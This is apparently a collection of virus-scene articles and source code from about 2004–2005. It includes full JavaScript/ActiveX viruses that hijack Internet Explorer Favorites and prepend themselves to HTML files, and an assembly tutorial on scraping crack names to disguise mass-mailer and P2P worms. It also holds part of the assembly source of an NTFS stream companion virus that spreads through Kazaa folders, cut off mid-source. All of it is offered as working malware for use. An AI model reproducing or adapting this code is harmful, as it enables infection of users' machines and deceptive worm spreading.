2. URL file format ------------------ [InternetShortcut] - hey windows, it's a InternetShurtcut! URL=http://www.vx-dia.de.vu/ - the linked site, our virus will be in location "file:///C:\Windows\4551.htm" WorkingDirectory=C:\WINDOWS\ - not interresting for this tut ShowCommand=7 - not interresting for this tut IconIndex=1 - not interresting for this tut IconFile=C:\WINDOWS\SYSTEM\url.dll - not interresting for this tut Modified=20F06BA06D07BD014D - not interresting for this tut HotKey=1601 - not interresting for this tut 3. Code with description ------------------------ First without description: <html> <head> <script language="JavaScript"> ThisFile = location.href; if (ThisFile.indexOf("file:///") != -1) { wshell = new ActiveXObject("WScript.Shell"); fso = new ActiveXObject("Scripting.FileSystemObject") FavFolder = wshell.SpecialFolders("Favorites") + "\\"; WinFolder = fso.GetSpecialFolder(0) + "\\"; ThisFile = location.href.substr(8); Virus = fso.GetFile(ThisFile); Virus.Copy(WinFolder + "4551.htm"); fso.CreateTextFile(WinFolder + "4551.url"); URLFile = fso.OpenTextFile(WinFolder + "4551.url",2,false,0); URLFile.WriteLine("[InternetShortcut]"); URLFile.WriteLine("URL=file:///" + WinFolder + "4551.htm"); URLFile.Close(); FakeURL = fso.GetFile(WinFolder + "4551.url"); Favorit = fso.GetFolder(FavFolder); FindFile = new Enumerator(Favorit.Files); FindFile.moveFirst(); while (FindFile.atEnd() == false) { Victim = FindFile.item(); URLType = new String(Victim); len = URLType.length; if (URLType.indexOf("url",len-3) != -1) { FakeURL.Copy(Victim); } FindFile.moveNext(); } } else { alert("HTML.JS.4551 - Virus\n\nOnly a *.url infection sample!\n\n\n\Only works's under loacation file:///\n\n\n\n\nby DiA (c)04 - www.vx-dia.de.vu"); } </script> </head> <body link="#000000" alink="#000000" vlink="#000000"> <div align="center"> <h1>HTML.JS.4551 - *.url infection sample</h1><br><br> by DiA (c)04 GermanY<br> <a href="http://www.vx-dia.de.vu">www.vx-dia.de.vu</a><br> <a href="mailto:DiA_hates_machine@gmx.de">DiA_hates_machine@gmx.de</a></div> </body> </html> And now with description for better understanding, but ugly lookin ;) : <html> <head> <script language="JavaScript"> // we do it in JavaScript ThisFile = location.href; //looks like "file:///C:\Tests\4551.htm" if (ThisFile.indexOf("file:///") != -1) { // only run virus if location is "file:///" and not "http://" wshell = new ActiveXObject("WScript.Shell"); fso = new ActiveXObject("Scripting.FileSystemObject") // create wshell to read the "Favorites" path // create fso to handle files FavFolder = wshell.SpecialFolders("Favorites") + "\\"; WinFolder = fso.GetSpecialFolder(0) + "\\"; // save "Favorites" path to infect .url files // save "Windows" path to copy virus, and drop Fake .url file ThisFile = location.href.substr(8); Virus = fso.GetFile(ThisFile); // remove "file:///" to handle with the path // get virus file, to copy it Virus.Copy(WinFolder + "4551.htm"); // copy virus to Windows\4551.htm, like "C:\Windows\4551.htm" fso.CreateTextFile(WinFolder + "4551.url"); URLFile = fso.OpenTextFile(WinFolder + "4551.url",2,false,0); URLFile.WriteLine("[InternetShortcut]"); URLFile.WriteLine("URL=file:///" + WinFolder + "4551.htm"); URLFile.Close(); FakeURL = fso.GetFile(WinFolder + "4551.url"); // create FakeURL file, every time // write the path to the virus in this .url // now 4551.url looks like: // [InternetShortcut] // URL=file:///C:\Windows\4551.htm // if you execute this 4551.url, you will see the virus again ;) Favorit = fso.GetFolder(FavFolder); FindFile = new Enumerator(Favorit.Files); FindFile.moveFirst(); // get favorite folder to handle with it // create a new enumerator to find all (!) files in this directory // find first file while (FindFile.atEnd() == false) { // do a while(), to find all files in one directory // if no more files -> exit while() Victim = FindFile.item(); // save path of victim, like "C:\Windows\Favorites\GMX.url" URLType = new String(Victim); len = URLType.length; // create a new string object of the victim path, to handle with // get lenght of the path, to check extensions of files if (URLType.indexOf("url",len-3) != -1) { // infect only if last 3 char's contains "url" FakeURL.Copy(Victim); // overwrite victim with dropped FakeURL file } FindFile.moveNext(); // Find next file in "favorites" folder } } // end if else { alert("HTML.JS.4551 - Virus\n\nOnly a *.url infection sample!\n\n\n\Only works's under loacation file:///\n\n\n\n\nby DiA (c)04 - www.vx-dia.de.vu"); } // if we are on another location (like ftp:// or http://) show only a message, and DON'T run // virus file </script> </head> <body link="#000000" alink="#000000" vlink="#000000"> <div align="center"> <h1>HTML.JS.4551 - *.url infection sample</h1><br><br> by DiA (c)04 GermanY<br> <a href="http://www.vx-dia.de.vu">www.vx-dia.de.vu</a><br> <a href="mailto:DiA_hates_machine@gmx.de">DiA_hates_machine@gmx.de</a></div> </body> </html> 4. Idea's and Goal's -------------------- The user will check that somethin is wrong, when no favorite work's anymore! So we must find a way to infect .url's, but load the site that should be load! So, we must read first the real URL before overwrite the .url. Maybe we found the file "vx - DiA.url": 1. Read real URL from this file 2. store it in another file, like "vx - DiA.txt" 3. overwrite this file with FakeURL file When the "vx - DiA.url" are executed, the virus will do the work: 1. Infect files 2. read real URL from "vx - DiA.txt" 3. load this site I am workin on this method, but the problem is that every .url is not the same like: [InternetShortcut] URL=http://www.vx-dia.de.vu Someone look's like: [DEFAULT] BASEURL=http://www.f-prot.de/down/tools-f.php [InternetShortcut] URL=http://www.f-prot.de/down/tools-f.php IconFile=http://www.f-prot.de/favicon.ico IconIndex=1 Another problem is, that most .url files has a own Icon, so we must read the icon location and write this locatin in our FakeURL file, that it look's like: [InternetShortcut] URL=file:///C:\Windows\4551.htm IconFile=http://www.f-prot.de/favicon.ico IconIndex=1 I am working on this problem's, and write a HTML.JS Virus: - .html infection -> prepender - .url infection -> load real site - don't change icon, or something, only change URL=... - and other features... 5. Outro -------- I hope you enjoyed this little tutorial, if you had any comment's send me a mail to DiA_hates_machine@gmx.de ! That's all at this time, now i go on with the problem's =) Have fun... Code on... bye, DiA [06.05.04 - GermanY]sources
HTML.JS.JackRabbit DiA _____________________________________________ | HTML.JS.JackRabbit | | by DiA[rRlf] (c)04 GermanY | | www.vx-dia.de.vu - DiA_hates_machine@gmx.de | |_____________________________________________| :Disclaimer ----------- I am not responsible for that what you do! You can need the code however you want. You (and only you) are responsible at this time... :Intro ------ This is the very first non overwriting .url (favorites) infector. URL infection means that the Virus infect's InternetShortcuts! It only infect's the InternetShortcuts in the "Favorites" folder. OK, for newbies or idiots: the Virus infect's the Favorites, in IE under the menu "Favorites"! If you would load a favorite, the Virus does it's work. But the kewl thing is, that the Virus load the real favorite after it's work =) The idea comes to my mind in school, and after one week I finished that nice Virus. I am proud that it works ;) Have fun with this little thing, and take care! :Features --------- - .htm and .html prepender, only infect files in current directory if current directory IS NOT the favorites directory - infect all .url (InternetShortcuts) in the "Favorites" folder - if the IconShortcut has a Icon, the Virus hold it - after infection, the Virus load's the real URL - Payload on Day 13 every mounth (MsgBox, and load www.vx-dia.de.vu) :How does the .url infection work --------------------------------- OK, this situation: The Virus found a not infected victim "vx - DiA.url" not infected it looks like this: ---vx - DiA.url--------------------------------- [InternetShortcut] URL=http://www.vx-dia.de.vu/ IconFile=http://vx.helith.net/~DiA/icon.ico IconIndex=1 ---vx - DiA.url--------------------------------- Now the Virus read out the real URL (URL=http://www.vx-dia.de.vu), and stores this string in a file called "vx - DiA.DiA": ---vx - DiA.DiA--------------------------------- http://www.vx-dia.de.vu ---vx - DiA.DiA--------------------------------- A Virus Copy drops under the name "vx - DiA.htm". If the InternetShortcut has a Icon, the Virus read this information from the Victim. Then the Virus overwrites the victim .url with a fake .url: ---vx - DiA.url--------------------------------- [InternetShortcut] URL=file:///C:\Windows\Favorites\vx - DiA.htm IconFile=http://vx.helith.net/~DiA/icon.ico IconIndex=1 ---vx - DiA.url--------------------------------- :What happen's if I would load "vx - DiA" favorite -------------------------------------------------- The Virus does first it's work. Infect all files in "Favorites" folder... Then the Virus read the real URL from the stored file, called "vx - DiA.DiA" (http://www.vx-dia.de.vu) and load this site via "location = RealURL". And that's all, real favorite is loaded in the browser, and the User think's all is allright ;) :Outro ------ OK, that's all about non overwriting .url infection, have fun with this code! For thanks scroll to the bottom ;) Have a nice Day... 17.05.04 - DiA[rRlf] <html><JackRabbit> <head> <script language="JavaScript"> ThisFile = location.href; if (ThisFile.indexOf("file:///") != -1) { wshell = new ActiveXObject("WScript.Shell"); fso = new ActiveXObject("Scripting.FileSystemObject"); FavFolder = wshell.SpecialFolders("Favorites") + "\\"; ThisFile = location.href.substr(8); VirusName = new String(ThisFile); Virus = VirusName.replace("%20"," "); for (i = 0; i < 20; i++) { Virus = Virus.replace("%20"," "); } Virus = fso.GetFile(Virus); VirPath = Virus.ParentFolder + "\\"; if (VirPath != FavFolder) { ReadVirCode = fso.OpenTextFile(Virus,1,false,0); VirCode = ReadVirCode.Read(4912); InfFolder = fso.GetFolder(VirPath); FindFile = new Enumerator(InfFolder.Files); FindFile.moveFirst(); while (FindFile.atEnd() == false) { Victim = FindFile.item(); FileType = fso.GetFile(Victim); if (Victim != Virus) { if (FileType.Type.indexOf("HTML") != -1) { CheckMarker = fso.OpenTextFile(Victim,1,false,0); Marker = CheckMarker.ReadLine(); if (Marker.indexOf("<JackRabbit>") == -1) { ReadVicCode = fso.OpenTextFile(Victim,1,false,0); VicCode = ReadVicCode.ReadAll(); fso.CreateTextFile(Victim); Prepend = fso.OpenTextFile(Victim,2,false,0); Prepend.Write(VirCode+VicCode); Prepend.Close(); } } } FindFile.moveNext(); } } RealURLName = new String(Virus); RealURL = RealURLName.substr(0,RealURLName.length-3) + "DiA"; if (fso.FileExists(RealURL) == true) { ReadURL = fso.GetFile(RealURL); ReadURLLine = ReadURL.OpenAsTextStream(); LoadURL = ReadURLLine.ReadLine(); ReadURLLine.Close(); } else { if (VirPath == FavFolder) { document.write("<b>ERROR! Can't load site</b><br>"); document.write("Please try agian later...<br><br><br>"); document.write(" -the admin JR"); LoadURL = ""; } } Favorit = fso.GetFolder(FavFolder); FindFile = new Enumerator(Favorit.Files); FindFile.moveFirst(); while (FindFile.atEnd() == false) { Victim = FindFile.item(); VictimFile = new String(Victim); if (VictimFile.indexOf("url",VictimFile.length-3) != -1) { NewVirName = new String(Victim); NewVir = NewVirName.substr(0,NewVirName.length-3) + "htm"; Virus.Copy(NewVir); ReadVictim = fso.GetFile(Victim); ReadVictimLine = ReadVictim.OpenAsTextStream(); Result = new String(ReadVictimLine.ReadLine()); while (Result.substr(0,4) != "URL=") { Result = new String(ReadVictimLine.ReadLine()); if (ReadVictimLine.AtEndOfStream == true) { break; } } ReadVictimLine.Close(); URL = new String(Result); if (URL.substr(0,4) != "URL=") { URL = "file:///" + Virus; } else { URL = URL.substr(4,URL.length); } RealURL = NewVirName.substr(0,NewVirName.length-3) + "DiA"; if (fso.FileExists(RealURL) == false) { fso.CreateTextFile(RealURL); RealURLWrite = fso.OpenTextFile(RealURL,2,false,0); RealURLWrite.WriteLine(URL); RealURLWrite.Close(); } ReadVictimLine = ReadVictim.OpenAsTextStream(); Result = new String(ReadVictimLine.ReadLine()); while (Result.substr(0,9) != "IconFile=") { Result = new String(ReadVictimLine.ReadLine()); if (ReadVictimLine.AtEndOfStream == true) { break; } } ReadVictimLine.Close(); IconFile = new String(Result); if (IconFile.substr(0,9) != "IconFile=") { IconFile = ""; } else { IconFile = Result; } ReadVictimLine = ReadVictim.OpenAsTextStream(); Result = new String(ReadVictimLine.ReadLine()); while (Result.substr(0,10) != "IconIndex=") { Result = new String(ReadVictimLine.ReadLine()); if (ReadVictimLine.AtEndOfStream == true) { break; } } ReadVictimLine.Close(); IconIndex = new String(Result); if (IconIndex.substr(0,10) != "IconIndex=") { IconIndex = ""; } else { IconIndex = Result; } fso.CreateTextFile(Victim); InfectURL = fso.OpenTextFile(Victim,2,false,0); InfectURL.WriteLine("[InternetShortcut]"); InfectURL.WriteLine("URL=file:///" + NewVir); InfectURL.WriteLine(IconFile); InfectURL.WriteLine(IconIndex); InfectURL.Close(); } FindFile.moveNext(); } if (VirPath == FavFolder) { location = LoadURL; } PayDate = new Date(); if (PayDate.getDate() == 13) { alert("HTML.JS.JackRabbit Virus\n\nby DiA[rRlf] (c)04 GermanY\n\n\nThis is the first non overwriting .url (Favorites) infector."); alert("YOUR FAVORITES - MY VICTIMS\n\Have fun at this day, but don\'t use your favorites... hrhrhr\n\n\nDiA [rRlf]"); location = "http://www.vx-dia.de.vu/"; } } </script> </head> </html> <html> <head> <title>HTML.JS.JackRabbit - First Generation</title> </head> <body bgColor="#AFAFAF" text="#8F8F8F" link="#000000" alink="#000000" vlink="#000000"> <center> <h1>HTML.JS.JackRabbit</h1><br> <h2>by <a href="http://www.vx-dia.de.vu">DiA</a><a href="http://www.rrlf.de">[rRlf]</a> (c)04 GermanY</h2><br> <h3>This is the First non overwriting .url infector ever, written in JavaScript</h3> <h4>Have fun with this nice creature!</h4> <u>thanks:</u><br> BBB<br> Arik<br> Denny<br> Gunter<br> Daniel<br> Katze<br> Nicole<br> Ben<br> Pascal<br> Herr H.<br> Marcel<br> Cindy<br> SPTH<br> philet0ast3r<br> DR-EF<br> vh<br> ElToro<br> Wesely<br> rRlf<br> Assi.GmbH<br> herm1t<br> BMX<br> Bad Luck 13<br> MPR<br> Hardcore<br> beer<br> weed<br> whisky<br> and all i forgot </center> </body> </html>articles
Save your fingers - get your fake names from the i-net DiA ______________________________________________________________ | | | Save your fingers - get your fake names from the i-net |# | »»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»» |# | |# | by DiA/rrlf (c)2005 |# | www.vx-dia.de.vu :: DiA_hates_machine@gmx.de |# |______________________________________________________________|# ############################################################### _Overview___________________________________ | | | 1_Intro |# | 2_How to do? |# | 3_Gimme a code, please! |# | 4_Outro |# |____________________________________________|# ############################################# .Disclaimer »»»»»»»»»» The author of this article is NOT responsible for possible damages in case of informations you getting here. You do your own things with your own risk, please don't do anything stupid for your own security. This document is for educational purpose only. If you do NOT agree this, please close this for your own pleasure! .1_Intro »»»»»»» Maybe you know this situation, you write a pretty good massmailer, i-net or P2P worm and you need some ideas for the fake names. You are sick seeing names like "Damn_Fine_Porn.mpg .exe" or "Photoshop Crack working!.exe". So what to do? Get some inspiration from the internet, go to some warez/crackz sites and copy and paste some real crack names including application name, exact version number and maybe the author of the crack. Looking a bit realer then "Micr0soft all products keygen.exe", huh?! You wanna do some good stuff, including many names... you are now copy and paste your name number 34, stupid work, no? At this point I ask you, why do you copy and paste a already existing huge database of names? Just write a simple but effective code and get thousends of names at runtime :). So read on and see how easy it is... .2_How to do? »»»»»»»»»»»» OK, what we need for this tutorial is a internet connection. Without it will not work of course. Now save this file - http://crack.ms/cracks/a_1.shtml - local as - fakenames.txt -. Take a look, at the head of this file you see some uninteressting stuff, like popup scripts, meta tags and links. But if you go to the end of this file you see a huge list of the crack names. Thats what we want. Let's pick out one link including the name that we want to extract: <a href="crack.ms?id=19003" target=_blank>ABCalculator 1.1.0 by DBC</a> And one more: <a href="crack.ms?id=1882535" target=_blank>Aare CD Ripper v3.2 by HTBTeam</a> Fine, now when you have a look you will fast see that every name is between (dword - 4 bytes) "ank>" and "</a>". So we have to find "ank>" and we have the start of the name. Byte by byte we search for the end "</a>" and so we have the length of the name. We know the start of the name and the length, sweet, we can extract it ;). With this method we can do so name by name, until we are at the end of the file. Remember that this is only a example, there are more then 1.000.000 crackz/ warez/serialz sites on the internet, you only have to know how the structure of the HTML files they use is. Let's do a little to-do list for our example application: 1. Make a random valid URL (eg w_2.shtml) 2. Download this file 3. Open the file 4. Get the file size 5. If it's not big enough goto 1. 6. Free enough memory 7. Read whole content in memory 8. Close File 9. Find start of next fake name "ank>" 10. Find end of next fake name "</a>" 11. Extract fake name 12. What you wanna do with this name (in example log in a .htm file) 13. If end of file goto 15. 14. Jump to 9. 15. Exit If it sounds hard to do for you, then the only reason for this is my shitty english ;D. Just take a look at the small code, and you will see that it is pretty easy to do. .3_Gimme a code, please! »»»»»»»»»»»»»»»»»»»»»»» ;-----ExtractNames.asm-----cut-----start--------------------------------------------- include "%fasminc%\win32ax.inc" ;equates ExtractNames: call MakeURL ;make a random url (a-z,1-9) invoke URLDownloadToFile,\ ;download it baby 0,\ ;no activeX required FakeNamesURL,\ ;download this file FakeNamesFile,\ ;save local to this file 0,\ ;reserved 0 ;no interface cmp eax, 0 ;error if it is not null jne ExtractNames ;then make new URL and download again WaitForDownload: invoke CreateFile,\ ;open downloaded file FakeNamesFile,\ ;open this file (in current folder) GENERIC_READ,\ ;only need read access FILE_SHARE_READ,\ ;---""--- 0,\ ;dont need security attributes OPEN_EXISTING,\ ;we want to open the file FILE_ATTRIBUTE_NORMAL,\ ;normal attributes 0 ;no template file cmp eax, INVALID_HANDLE_VALUE ;if error then the download is not finished je WaitForDownload ;try to open again mov dword [FileHandle], eax ;save file handle invoke GetFileSize,\ ;get file size of downloaded file dword [FileHandle],\ ;via file handle 0 ;just get low size mov dword [FileSize], eax ;save file size cmp eax, 7000d ;if its <7000 bytes, then its the error page from crack.ms ja GetMemory ;if not go to get memory invoke CloseHandle,\ ;close handle dword [FileHandle] ;to delete it invoke DeleteFile,\ ;delete invalid fake names file FakeNamesFile ;delete this jmp ExtractNames ;repeat all GetMemory: invoke GlobalAlloc,\ ;get enough memory GMEM_MOVEABLE,\ ;allocation attribute, moveable dword [FileSize] ;that mich memory we need mov dword [MemHandle], eax ;save handle invoke GlobalLock,\ ;get memory start dword [MemHandle] ;via handle mov dword [MemStart], eax ;save start invoke ReadFile,\ ;read whole content from file dword [FileHandle],\ ;open file, handle dword [MemStart],\ ;buffer start dword [FileSize],\ ;read that much BytesRW,\ ;bytes read 0 ;no overlapped structure invoke CloseHandle,\ ;we can close the file dword [FileHandle] ;via handle ;***only for this example*** invoke CreateFile,\ ;make the output file OutputFile,\ ;file name GENERIC_WRITE,\ ;with write access FILE_SHARE_WRITE,\ ;---""--- 0,\ ;no security CREATE_ALWAYS,\ ;create it FILE_ATTRIBUTE_NORMAL,\ ;normal attributes 0 ;no temp file mov dword [FileHandle], eax ;save handle ;***only for this example*** mov ebx, dword [MemStart] ;get memory start in ebx add ebx, 3667d ;go over the file header (scripts, meta, links...) ;(keep in mind that this is the structure ; of files on crack.ms, if you use another site ; the structure is different!) push ebx ;save to stack FindMoreNames: pop ebx ;get file position from stack xor ecx, ecx ;set name length counter to null GetStartOfName: cmp dword [ebx], "</bo" ;end of html file (you know </body></html>) je FindNamesEnd ;then goto end cmp dword [ebx], "ank>" ;start of fake name? je GetEndOfName ;if so then get end of name inc ebx ;search next byte jmp GetStartOfName ;go get it dude GetEndOfName: cmp dword [ebx], "</a>" ;end of fake name? je ExtractName ;if so then extract the name inc ecx ;to get fake name length inc ebx ;next place jmp GetEndOfName ;search it ExtractName: push ebx ;save current position in file sub ebx, ecx ;go to the start of string add ebx, 4d ;go after "ank>" sub ecx, 4d ;delete that "</a>" push ecx ;save length of name mov esi, ebx ;source mov edi, FakeName ;destination rep movsb ;copy the whole name to FakeName mov dword [edi], 0 ;clear all after ;**************************************** ;**************************************** ; at this point you can do whatever you want ; with the fake file name! pointer to fake name ; is "FakeName"... ;**************************************** ;**************************************** ;***only for this example*** pop ecx ;get length of name invoke WriteFile,\ ;write the fake name to file dword [FileHandle],\ ;via handle FakeName,\ ;write this ecx,\ ;length of fake name BytesRW,\ ;bytes written 0 ;overlapped, fuck off invoke WriteFile,\ ;write <br> to the file dword [FileHandle],\ ;via handle Break,\ ;write <br> 4,\ ;length BytesRW,\ ;bytes written 0 ;overlapped, fuck off ;***only for this example*** jmp FindMoreNames ;go get next name FindNamesEnd: ;***only for this example*** invoke CloseHandle,\ ;close output file dword [FileHandle] ;via handle ;***only for this example*** invoke GlobalUnlock,\ ;unlock memory dword [MemHandle] ;handle invoke GlobalFree,\ ;free it! dword [MemHandle] ;via handle invoke DeleteFile,\ ;delete downloaded file FakeNamesFile ;this invoke MessageBox,\ ;show a msgbox that it's done 0,\ "fake names extracting done",\ FakeNamesURL,\ 0 invoke ExitProcess,\ 0 ;end my friend MakeURL: ;procedure invoke GetTickCount ;we only want random stuff in al CharMakeValid: cmp al, 97d ;if its under "a" jb CharAdd ;then add some stuff cmp al, 122d ;if its above "z" ja CharSub ;then sub some stuff jmp CharIsValid ;kewl, now its valid CharAdd: add al, 18d ;add 18 and see if its now valid jmp CharMakeValid ;check it CharSub: sub al, 18d ;sub 18 jmp CharMakeValid ;now a valid character? CharIsValid: mov edi, FakeNamesURL ;pointer to url add edi, 23d ;go to the end of the string stosb ;save char at end (eg http://crack.ms/cracks/m) invoke GetTickCount ;get al again DigitMakeValid: cmp al, 49d ;if its under "1" jb DigitAdd ;the add somethin cmp al, 57d ;if its above "9" ja DigitSub ;then subtract it jmp DigitIsValid ;make whole name DigitAdd: add al, 3d ;add 3 jmp DigitMakeValid ;check if its now valid DigitSub: sub al, 3d ;sub 3 jmp DigitMakeValid ;chek if it is valid now DigitIsValid: mov byte [edi], "_" ;eg http://crack.ms/cracks/m_ inc edi ;go behind the "_" stosb ;save digit (eg http://crack.ms/cracks/m_2) mov dword [edi], ".sht" ; http://crack.ms/cracks/m_2.sht mov dword [edi + 4], "ml" ; http://crack.ms/cracks/m_2.shtml ret ;return to call Datas: FakeNamesURL db "http://crack.ms/cracks/",0 ;site to download file from rb 10d ;space for file name (random) FakeNamesFile db "fake.names",0 ;filename to save FileHandle dd ? ;file handle to save FileSize dd ? ;file size to get enough memory MemHandle dd ? ;handle for allocate memory MemStart dd ? ;start of memory BytesRW dd ? ;number of bytes read/write OutputFile db "FakeNames.htm",0 ;save here the names FakeName rb 100d ;save here the fake name Break db "<br>",0 ;just to make a break Imports: data import ;import all needed api's library kernel32, "KERNEL32.DLL",\ user32, "USER32.DLL",\ urlmon, "URLMON.DLL" import kernel32,\ CreateFile, "CreateFileA",\ GlobalAlloc, "GlobalAlloc",\ GlobalLock, "GlobalLock",\ ReadFile, "ReadFile",\ GetFileSize, "GetFileSize",\ CloseHandle, "CloseHandle",\ GlobalUnlock, "GlobalUnlock",\ GlobalFree, "GlobalFree",\ WriteFile, "WriteFile",\ DeleteFile, "DeleteFileA",\ GetTickCount, "GetTickCount",\ ExitProcess, "ExitProcess" import user32,\ MessageBox, "MessageBoxA" import urlmon,\ URLDownloadToFile, "URLDownloadToFileA" end data ;-----ExtractNames.asm-----cut-----end----------------------------------------------- .4_Outro »»»»»»» Funny, no? That small code and that much names ;). But keep in mind that this is only a basic example. For advanced usage you need, for example, to check if there is an internet connection or not. Also you don't need to extract only fake names for your worms. What's about subject's or body's? Maybe a report from a AV site about a new dangerous worm in the wild, and you send the cleaning program?! Or what about newsgroups and there post's. It's now in your hand to find usefull sites for your fake names, fake subjects and fake bodys. Be creative ;), have a nice day and happy coding! DiA/rrlf :: 08.02.2005sources
Win2k.Sejay DiA ; ____________________________ ; | | ; | Win2k.Sejay |# ; | Stream Companion Virus |## ; | |## ; | coded by DiA/rrlf |## ; | (c)2005 Germany |## ; | |## ; | DiA_hates_machine@gmx.de |## ; | http://www.vx-dia.de.vu |## ; |____________________________|## ; ############################## ; ############################# ; ; ; ; .disclaimer ; This is a source code of a working virus! If you rewrite, copy or assemble it ; you and only YOU are responsible for the things you do! Take care... ; ; ; .intro ; This is a companion virus, using the "Stream Companion" method. Only working ; on NTFS formated harddrives, because FAT don't have the streaming feature. ; Inspired from the first "Stream Companion" virus Win2k.Stream (also the only ; one source I can find to learn from). Dedicated to my mate Erik, who is the ; name-father of this virus. I have heavy commented the source, hopy you like ; it! Only tested under WinXP SP1... ; ; ; .description ; -check OS, if its not Win2000 or above show a fake error message, because virus ; can't execute host or infecting files ; ; -working with a temp file, stored in windows directory as Sejay.DiA ; ; -infect files by creating a new stream with name of last 4 bytes from victim file ; eG Whatever.exe copy to Whatever.exe:ever ; then copy virus over the main stream Whatever.exe ; ; -the virus checks if the stream already exists, if so the file is already infected ; ; -execute host by creating stream name and run it eG execute Whatever.exe:ever , ; if something goes wrong it shows a fake message (also on first generation) ; ; -infect current folder, all sub-folders and the Kazaa Shared Folder (aka P2P spreading) ; ; -log every infected file in a file stored in windows directory called Sejay.htm , ; and if payload date (03.02) the virus sets this file to start page from IE, when ; somethin goes wrong it shows a simple message box with a lyric from Bad Luck 13 ; ; -unpacked the virus is 5632bytes huge, after upx'ing its 3072bytes small. ; ; ; .assemble ; Assemble it with the Flatassembler GUI version 1.56, you can get this nice assembler ; for free at http://flatassembler.net ! ; ; ; .outro ; For bug report or greets/fucks please mail me at DiA_hates_machine@gmx.de or do a entry ; in my guestbook at http://www.vx-dia.de.vu . And now have fun with this little creature... ; ; ; .source ;-----Sejay.asm-----start-------------------------------------------------------------------------------------------------- include "%fasminc%\win32ax.inc" ;equates Sejay: ;virus start invoke GetVersion ;get os verion (al=05 -> win2000 and above [eg winxp is 0A280105h]) cmp al, 05d ;check al for 05 jne NonNTFS ;if not show some fake error msg invoke GetModuleFileName,\ ;get virus file name 0,\ ;no handle VirusFile,\ ;save here full path 256d ;size of buffer cmp eax, 0 ;error? no virus path, no infection je ExecuteHost ;run host without infection :@ invoke GetWindowsDirectory,\ ;to store the temp file in WinTempDir,\ ;save here 256d ;size of buffer cmp eax, 0 ;error je ExecuteHost ;narf... mov esi, WinTempDir ;to check if the path is valid GetPathEnd: cmp byte [esi], 0 ;end of string? je CheckIfValid ;check for "\" at the end inc esi ;address + 1 jmp GetPathEnd CheckIfValid: cmp byte [esi - 1], "\" ;check for "\" at the end je BindStrings ;then dont append the \ mov byte [esi], "\" ;place a \ at the end of the string mov dword [esi + 1], 0 ; ,0 BindStrings: invoke lstrcat,\ ;append TempFile string via api WinTempDir,\ ;append to windows path TempFile ;append sthis invoke GetWindowsDirectory,\ ;to get payload file PayTempFile,\ ;store it here 256d ;size of buffer mov esi, PayTempFile ;check if it is valid GetPayEnd: cmp byte [esi], 0 ;end? je CheckValidness ;same as above inc esi jmp GetPayEnd ;again CheckValidness: cmp byte [esi - 1], "\" ;check string end for \ je MakePayFile ;all is ok mov byte [esi], "\" ;place \ at end mov dword [esi + 1], 0 ;zero MakePayFile: invoke lstrcat,\ ;bind strings PayTempFile,\ ;append to win dir PayFile ;the filename invoke CreateFile,\ ;open temp file PayTempFile,\ ;this GENERIC_READ + GENERIC_WRITE,\ ;read n write access FILE_SHARE_WRITE,\ ;open if can write 0,\ ;no security attributes OPEN_EXISTING,\ ;open the file FILE_ATTRIBUTE_NORMAL,\ ;normal 0 ;no handle cmp eax, INVALID_HANDLE_VALUE ;error? jne SaveHandle ;if not dont create file again call CreatePayloadFile ;if not exist create payload file SaveHandle: mov dword [PayHandle], eax ;save handle call InfectFolder ;infect current folder (all files) invoke FindFirstFile,\ ;get some folders Folder,\ ;by search for *.* Win32FindData ;already defined mov dword [FolderHandle], eax ;save handle FindMoreFolder: cmp eax, 0 ;no more folders?! je CloseFolderHandle ;then close handle and execute host stream invoke GetCurrentDirectory,\ ;to get a valid SetCurrentDir.. path 256d,\ ;size of buffer VictimFolder ;save there mov esi, VictimFolder ;get end of string GetEndDir: cmp byte [esi], 0 ;check for zero -> end je HaveEndDir ;check for validness inc esi ;next byte jmp GetEndDir ;check HaveEndDir: cmp byte [esi - 1], "\" ;is there a \ je DirValid ;if so, it is valid mov byte [esi], "\" ;if not make it valid mov dword [esi + 1], 0 ;end of string DirValid: mov esi, Win32FindData.cFileName ;get end of victim string GetEndVictim: cmp byte [esi], 0 ;end of string? je HaveEndVictim ;if so jmp to ... inc esi ;next byte jmp GetEndVictim ;check it baby HaveEndVictim: cmp byte [esi - 1], "." ;found a . or .. ?! je FindNextFolder ;if so find next cmp byte [esi - 4], "." ;is it a file? je FindNextFolder ;if so find next mov byte [esi], "\" ;to get a valid path mov dword [esi + 1], 0 ;zero at the end invoke lstrcat,\ ;bind strings VictimFolder,\ ;string1 Win32FindData.cFileName ;add this invoke SetCurrentDirectory,\ ;change directory VictimFolder ;to this cmp eax, 0 ;error? je FindNextFolder ;then find next call InfectFolder ;infect it baby mov esi, VictimFolder ;to change directory back GetFirstFolder1: cmp byte [esi], 0 ;check for end je HaveFirstFolder1 ;have it inc esi ;continue jmp GetFirstFolder1 ;... HaveFirstFolder1: sub esi, 2 ;get before "\" GetFirstFolder2: cmp byte [esi], "\" ;check for \ je HaveFirstFolder2 ;change back dec esi ;-1 jmp GetFirstFolder2 ;check HaveFirstFolder2: mov dword [esi + 1], 0 ;clear all after invoke SetCurrentDirectory,\ ;set it new VictimFolder ;to first folder FindNextFolder: invoke FindNextFile,\ ;find next dword [FolderHandle],\ ;the handle Win32FindData ;the structure jmp FindMoreFolder ;go get it CloseFolderHandle: invoke CloseHandle,\ ;close handle dword [FolderHandle] ;this invoke RegOpenKeyEx,\ ;open key HKEY_CURRENT_USER,\ ;with this handle KazaaShare,\ ;this subkey 0,\ ;reserved KEY_QUERY_VALUE,\ ;read a value KazaaRegHandle ;save there the handle cmp eax, 0 ;error? jne ExecuteHost ;no kazaa installed invoke RegQueryValueEx,\ ;read the value (shared folder path) dword [KazaaRegHandle],\ ;handle KazzaFolder,\ ;DlDir0 0,\ ;reserved 0,\ ;its a string KazaaVictim,\ ;save there the path KazaaSize ;size of buffer cmp eax, 0 ;error? jne CloseRegKey ;the close the key, no infection mov esi, KazaaVictim ;to check validness GetKazaaEnd: cmp byte [esi], 0 ;end of string? je HaveKazaaEnd ;jmp to there inc esi ;next place jmp GetKazaaEnd ;go for it! HaveKazaaEnd: cmp byte [esi - 1], "\" ;check for \ je KazaaSlash ;if exist jmp to ... mov byte [esi], "\" ;make it valid mov dword [esi + 1], 0 ;zero at end KazaaSlash: invoke SetCurrentDirectory,\ ;change to kazaa folder KazaaVictim ;infect this please call InfectFolder ;DO IT! CloseRegKey: invoke RegCloseKey,\ ;close key dword [KazaaRegHandle] ;with handle ExecuteHost: mov esi, VirusFile ;make host file string GetHostFileStream: cmp byte [esi], 0 ;0 is the end of the string je AppendHostStream ;then append stream name inc esi 